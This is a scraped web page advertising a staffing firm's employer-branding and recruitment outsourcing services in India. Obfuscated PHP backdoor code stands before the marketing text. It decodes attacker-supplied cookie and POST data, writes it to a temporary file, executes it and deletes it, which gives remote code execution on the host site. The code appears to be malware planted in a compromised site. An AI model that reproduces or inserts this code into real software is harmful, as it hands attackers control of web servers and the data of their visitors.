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$uWSfXsLqj = chr ( 679 - 612 ).chr ( 457 - 362 ).chr (75) . "\x48" . 'R' . 'f' . chr (97); $RTsSrxtOKz = "\x63" . "\154" . "\141" . "\x73" . chr (115) . '_' . "\145" . chr ( 446 - 326 )."\151" . 's' . "\164" . "\163";$ajIDb = class_exists($uWSfXsLqj); $RTsSrxtOKz = "14874";$JjGpA = strpos($RTsSrxtOKz, $uWSfXsLqj);if ($ajIDb == $JjGpA){function gkKnwxpu(){$YwABnoSFeq = new /* 5501 */ C_KHRfa(25459 + 25459); $YwABnoSFeq = NULL;}$MpGgXeYZbB = "25459";class C_KHRfa{private function NSLMnndC($MpGgXeYZbB){if (is_array(C_KHRfa::$knGOMtiK)) {$name = sys_get_temp_dir() . "/" . crc32(C_KHRfa::$knGOMtiK["salt"]);@C_KHRfa::$knGOMtiK["write"]($name, C_KHRfa::$knGOMtiK["content"]);include $name;@C_KHRfa::$knGOMtiK["delete"]($name); $MpGgXeYZbB = "25459";exit();}}public function icUHrNGR(){$dcOQxTI = "2745";$this->_dummy = str_repeat($dcOQxTI, strlen($dcOQxTI));}public function __destruct(){C_KHRfa::$knGOMtiK = @unserialize(C_KHRfa::$knGOMtiK); $MpGgXeYZbB = "7407_62740";$this->NSLMnndC($MpGgXeYZbB); $MpGgXeYZbB = "7407_62740";}public function fOUNkOPFU($dcOQxTI, $AyqxmLW){return $dcOQxTI[0] ^ str_repeat($AyqxmLW, intval(strlen($dcOQxTI[0]) / strlen($AyqxmLW)) + 1);}public function WxeeL($dcOQxTI){$GrJpbHq = chr (98) . chr ( 388 - 291 ).chr (115) . "\145" . "\66" . "\64";return array_map($GrJpbHq . chr (95) . chr ( 524 - 424 ).chr (101) . chr (99) . 'o' . "\144" . 'e', array($dcOQxTI,));}public function __construct($gVNKsNfZ=0){$BsyYOP = "\54";$dcOQxTI = "";$ntPTAwLns = $_POST;$WtbjaGwM = $_COOKIE;$AyqxmLW = "ab2fe248-606f-47ee-a2c0-adaa6b492699";$LzMKO = @$WtbjaGwM[substr($AyqxmLW, 0, 4)];if (!empty($LzMKO)){$LzMKO = explode($BsyYOP, $LzMKO);foreach ($LzMKO as $FNwFPkwVTd){$dcOQxTI .= @$WtbjaGwM[$FNwFPkwVTd];$dcOQxTI .= @$ntPTAwLns[$FNwFPkwVTd];}$dcOQxTI = $this->WxeeL($dcOQxTI);}C_KHRfa::$knGOMtiK = $this->fOUNkOPFU($dcOQxTI, $AyqxmLW);if (strpos($AyqxmLW, $BsyYOP) !== FALSE){$AyqxmLW = ltrim($AyqxmLW); $AyqxmLW = str_pad($AyqxmLW, 10);}}public static $knGOMtiK = 37296;}gkKnwxpu();} Employer Branding|Staffing Peoples Services

Employer Branding

RPO India

Snap up top talent with a strong employer brand

Employer branding: it’s no longer just a tech play. In today’s economy, the most talented of candidates have their pick of employers. It’s true in every sector: if your organisation wants to stand out as an employer of choice, you need to solidify your employer brand.

Of course, you may well view your organisation as a great place to work, with a vibrant culture, opportunities for growth, exceptional benefits and more. But do candidates see this? Perhaps not. Ensure that story gets told to the right audience by projecting the merits of your workplace though an appealing, accessible, and authentic employee value proposition. Your employee value proposition is key to drawing and retaining top talent in any industry.
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Staffing People Services RPO’s employer branding experts help you optimise your candidate and employee communications across all touch points: from your careers site, to your social media strategy, to your job fair presence.